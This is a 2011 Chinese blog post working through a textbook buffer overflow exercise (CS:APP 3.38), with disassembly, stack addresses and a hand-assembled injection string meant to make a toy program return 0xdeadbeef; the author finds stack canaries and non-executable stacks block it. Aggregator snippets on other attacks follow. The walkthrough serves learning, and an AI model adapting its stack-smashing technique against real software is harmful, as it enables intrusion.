缓冲区溢出攻击练习

标签: 缓冲区 溢出 攻击 | 发表时间:2011-09-23 01:07 | 作者:南柯之石 We_Get
出处:http://www.cnblogs.com/

《深入理解计算机系统》练习3.38,要求对提供的一个程序进行缓冲区溢出攻击。这里给出自己解题过程。这个程序在不做修改的情况下,在windows平台是无法编译的。所以以下练习基于Ubuntu 11.04 + GCC 4.5.2

要求是:让这个一直输出1的程序输出-559038737(deadbeef)。

目标就是要溢出getbuf这个函数,就把把getbuf这个函数内的执行权拿到,但在运行完我们指定的代码之后,我们还是要让这个函数返回到他本来就应该返回的地方的。查看test的汇编代码。

08048597 <test>:

8048597: 55                   push %ebp

8048598: 89 e5               mov %esp,%ebp

804859a: 83 ec 28           sub $0x28,%esp

804859d: b8 e0 86 04 08 mov $0x80486e0,%eax

80485a2: 89 04 24           mov %eax,(%esp)

80485a5: e8 12 fe ff ff      call 80483bc <printf@plt>

80485aa: e8 b4 ff ff ff       call 8048563 <getbuf>

80485af: 89 45 f4            mov %eax,-0xc(%ebp)

80485b2: b8 f1 86 04 08  mov $0x80486f1,%eax

80485b7: 8b 55 f4           mov -0xc(%ebp),%edx

80485ba: 89 54 24 04      mov %edx,0x4(%esp)

80485be: 89 04 24          mov %eax,(%esp)

80485c1: e8 f6 fd ff ff      call 80483bc <printf@plt>

80485c6: c9                    leave

80485c7: c3                    ret

黄色高亮的就是getbuf返回时,本应该返回到的地址。当然,也可以返回到其它的地方去。

我们来验证一下,运行程序,并在getbuf这个函数上加断点,%ebp的值是0xbfffefa8,我们在这个内存的前面,即0xbfffefac这里,可以看到getbuf的返回地址是080485AF。它前面保存的栈底也要记下来,是0xbfffefd8。这两个是在我们构建返回点时要用到的。

再来看getbuf这个函数。

int getbuf()

{

char buf[12];

getxs(buf);

return 1;

}

申请了12字节的内存,所以输入的前12字节随便是什么都可以。但是这并不意味着13字符开始就覆盖到了不应该覆盖到的内存。还要覆盖到getxs函数的返回地址。覆盖的这个地址才是要计算的。我们来看反汇编出来的代码。

08048563 <getbuf>:

8048563: 55                        push %ebp

8048564: 89 e5                    mov %esp,%ebp

8048566: 83 ec 28               sub $0x28,%esp

8048569: 65 a1 14 00 00 00 mov %gs:0x14,%eax

804856f: 89 45 f4                mov %eax,-0xc(%ebp)

8048572: 31 c0                    xor %eax,%eax

8048574: 8d 45 e8               lea -0x18(%ebp),%eax

8048577: 89 04 24               mov %eax,(%esp)

804857a: e8 15 ff ff ff           call 8048494 <getxs>

804857f: b8 01 00 00 00      mov $0x1,%eax

8048584: 8b 55 f4               mov -0xc(%ebp),%edx

8048587: 65 33 15 14 00 00 00 xor %gs:0x14,%edx

804858e: 74 05                   je 8048595 <getbuf+0x32>

8048590: e8 37 fe ff ff          call 80483cc <__stack_chk_fail@plt>

8048595: c9                        leave

8048596: c3                        ret

现在%ebp的值是0xbfffefa8,而在call getxs前,lea -0x18(%ebp),%eax,这里分配的起始地址是0xbffef90,这个就是buf的地址。这个地址在当前%esp之前,所以getxt溢出这个buf,并不能改定到getxt本身的返回地址。而只能改写getbuf的返回地址。这个地址的位址,在前面说了,是在0xbfffefac这个地方,所以我们要改写到这个区域的数据。所以,我们要改的内存区域是从0xbfffef90~0xbfffefaf这32个字节的内存。当然你写可以改定后面所有的内存,这样你就可以想干什么就干什么了,但是我们现在是要完成这个题目。所以后面要做的还是要做的。

所以我们希望可以让程序返回到0xbfffef90这个地方执行我们自己的代码。要执行的代码也很简单,就一行

movl $0xdeadbeef, %eax

这个代码在上面的示例中已经有类似代码了。所以可以知道这个代码的二进制表示是:

b8 ef be ad de

我的环境是Ubuntu,所以用的是小端法。然后就可以返回了。返回的代码上面也有。就是

c9 c3

这个返回的地址,应该就是getbuf原来的返回地址:0x080485AF了。但是leave和call都会造成%esp的变化,一个想法就是,我们可以不leave,直接return。这样我们就要当前(调用getbuf时)%ebp所指向就是正确的返回地址。但是这时%ebp所指向的地址0xbfffefd8已经很远了。这有太多东西要输入了。

所以换个思路,不ret了,直接jmp! 直接Jmp的话,我们直接跳到为print准备参数那行(0x080485be)就好了。嘿嘿。代码就是。

ff 25 be 85 04 08

所以前面的11个字节就是

b8 ef be ad de ff 25 be 85 04 08

中间 32 - 11 - 8 = 13个字节随意。

然后是d8 ef ff bf 90 ef ff bf

b8 ef be ad de ff 25 be 85 04 08 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 ef ff bf 90 ef ff bf

好了,我们试一下,结果发现失败了。单步一下,发现是__stack_chk_fail。现在的编译器啊。唉,就给我们找事儿。我临时手工改了下%eip的值跳过了这一步,继续。

结果在运行到 RET语句的时候,得到的又是一个错误框

clip_image002

对于这个SIGSEGV,解释是:

SIGSEGV --- Segment Fault. The possible cases of your encountering this error are: 
1.buffer overflow --- usually caused by a pointer reference out of range. 
2.stack overflow --- please keep in mind that the default stack size is 8192K. 
3.illegal file access --- file operations are forbidden on our judge system.

想了一下,这个时候,%esp的值是0xbfffefac,而我们要跳转到0xbfffef90。这个地址是在栈顶之外。可能就是stack overflow的原因?

那再试下把要运行的代码向后放。前11个也随意。

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 ef ff bf b0 ef ff bf b8 ef be ad de ff 25 be 85 04 08

结果还是一样的Error看来不是这个问题。于是我怒了,直接把%eip的值改成了0xbeffefb0以绕过ret。然后运行还是同样的错误。这个时候,我就开始怀疑这不是攻击代码的问题了,而是操作系统本身不允许在数据页上运行代码。此一时,彼一时啊。那个时候的OS比较温顺?

然后Google了一下,发现也有人遇到了同样的问题。还看到一个很恶心的做法。就是直接把getbuff函数return到print函数上。其实这样做对于攻击而且没有太大的意义。因为这样只能调用程序中已经有的代码,只是给它编一个参数而已。并没有运行自己编写的代码。

看来还是只能绕过安全机制才行。不过今天已经晚了,明天有空再来研究如果能绕过这个安全机制吧。

 

更新:

今天找到了最后出异常的解释。结论就是这种弱智的Buff Overflow攻击在现代操作系统中,已经不能做为有效的攻击手段了。

这里还有一群人讨论出来的各种解法

作者: 南柯之石 发表于 2011-09-23 01:07 原文链接

评论: 4 查看评论 发表评论


最新新闻:
· 联通称2012 年底北京实现全民 20M宽带(2011-09-23 12:04)
· 开源网络访问控制系统PacketFence 3.0版发布(2011-09-23 12:02)
· Facebook开发者大会问答环节实录(2011-09-23 12:01)
· Facebook深度整合媒体分享:Spotify和Hulu(2011-09-23 12:00)
· 全球互联网下载速度排名 中国位列80名以后(2011-09-23 11:58)

编辑推荐:C#技术漫谈之公共语言运行库(CLR)

网站导航:博客园首页  我的园子  新闻  闪存  小组  博问  知识库

相关 [缓冲区 溢出 攻击] 推荐:

缓冲区溢出攻击练习

- We_Get - 博客园-首页原创精华区
《深入理解计算机系统》练习3.38,要求对提供的一个程序进行缓冲区溢出攻击. 这个程序在不做修改的情况下,在windows平台是无法编译的. 所以以下练习基于Ubuntu 11.04 + GCC 4.5.2. 要求是:让这个一直输出1的程序输出-559038737(deadbeef). 目标就是要溢出getbuf这个函数,就把把getbuf这个函数内的执行权拿到,但在运行完我们指定的代码之后,我们还是要让这个函数返回到他本来就应该返回的地方的.

session fixation攻击

- - 互联网 - ITeye博客
什么是session fixation攻击. Session fixation有人翻译成“Session完成攻击”,实际上fixation是确知和确定的意思,在此是指Web服务的会话ID是确知不变的,攻击者为受害着确定一个会话ID从而达到攻击的目的. 在维基百科中专门有个词条 http://en.wikipedia.org/wiki/Session_fixation,在此引述其攻击情景,防范策略参考原文.

Java内存溢出与栈溢出

- - CSDN博客推荐文章
JVM运行时内存 = 共享内存区 + 线程内存区. 共享内存区 = 持久带 + 堆. 持久带 = 方法区 + 其他. 堆 = Old Space + Young Space. JVM用持久带(Permanent Space)实现方法区,主要存放所有已加载的类信息,方法信息,常量池等等. 可通过-XX:PermSize和-XX:MaxPermSize来指定持久带初始化值和最大值.

浅谈Ddos攻击攻击与防御

- - 80sec
三 常见ddos攻击及防御. 在前几天,我们运营的某网站遭受了一次ddos攻击,我们的网站是一个公益性质的网站,为各个厂商和白帽子之间搭建一个平台以传递安全问题等信息,我们并不清楚因为什么原因会遭遇这种无耻的攻击. 因为我们本身并不从事这种类型的攻击,这种攻击技术一般也是比较粗糙的,所以讨论得比较少,但是既然发生了这样的攻击我们觉得分享攻击发生后我们在这个过程中学到得东西,以及针对这种攻击我们的想法才能让这次攻击产生真正的价值,而并不是这样的攻击仅仅浪费大家的时间而已.

警告攻击者

- ZhaoNiuPai - 月光微博客
  广东省深圳市福田区电信ADSL(59.40.120.63)的这位用户,凡事都有个度,事不过三,如果你再对我博客的AdSense进行攻击的话,我可就要报警了,相信深圳公安局根据这个IP抓到你是一件非常容易的事情,想黑别人,千万不要把自己黑进监狱. 分类: 网络日志 | 添加评论(5). 关闭服务器HTTPERR错误日志  (2011-1-12 16:52:8).

Apache防止攻击

- - 小彰
为了防止恶意用户对Apache进行攻击,我们需要安装mod_security这个安全模块. mod_security 1.9.x模块的下载与安装. 下载地址: http://www.modsecurity.org/download/index.html. 建议使用1.9.x,因为2.x的配置指令与1.x完全不同,解压后进入解压目录,执行:.

前端xss攻击

- - SegmentFault 最新的文章
实习的时候在项目中有接触过关于xss攻击的内容,并且使用了项目组中推荐的一些常用的防xss攻击的方法对项目进行了防攻击的完善. 但一直没有时间深入了解这东西,在此,做一个简单的梳理. xss跨站脚本攻击(Cross Site Scripting),是一种经常出现在web应用中的计算机安全漏洞,它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入的恶意html代码会被执行,从而达到恶意用户的特殊目的.

CSS 溢出检测脚本

- Public - 陈成的博客
按我的理解,CSS Bug 包含:. 内容 Bug (即运营填入内容或数据库读取内容后出现的 Bug). 其中兼容性 Bug 通常在开发阶段就能解决,而内容 Bug 通常被我们忽略. 比如忘记对文字设置 overflow: hidden;比如忘记对图片设置宽高;等. 所以,为自动化这块的测试工作,我写了个 简单的脚本 ,功能有二:.

Java 内存溢出排查

- - ImportNew
Java OOM 毫无疑问是开发人员常见并且及其痛恨的问题,但是任何服务的开发都没法避免 OOM. 因此,OOM 的排查及定位是每个 Java 工程师都必备的技能. 在使用 scala 开发的一个 web 服务,在用户使用中,经常出现:  java.lang.OutOfMemoryError: Java heap space .

SSL窃听攻击实操

- snowflip - 狂人山庄 | Silence,声仔,吴洪声,奶罩
OK,我恶毒的心灵又开始蠢蠢欲动了. 今天带给大家的是SSL窃听攻击从理论到实际操作的成功例子. SSL窃听最主要的是你要有一张合法的SSL证书,并且证书名称必须和被攻击的网站域名一致. 目前各大CA都有很低廉价格的SSL证书申请,最低的价格只需要10美元不到,甚至还有一些域名注册商大批量采购这些证书,并且在你注册域名的时候免费送你一张.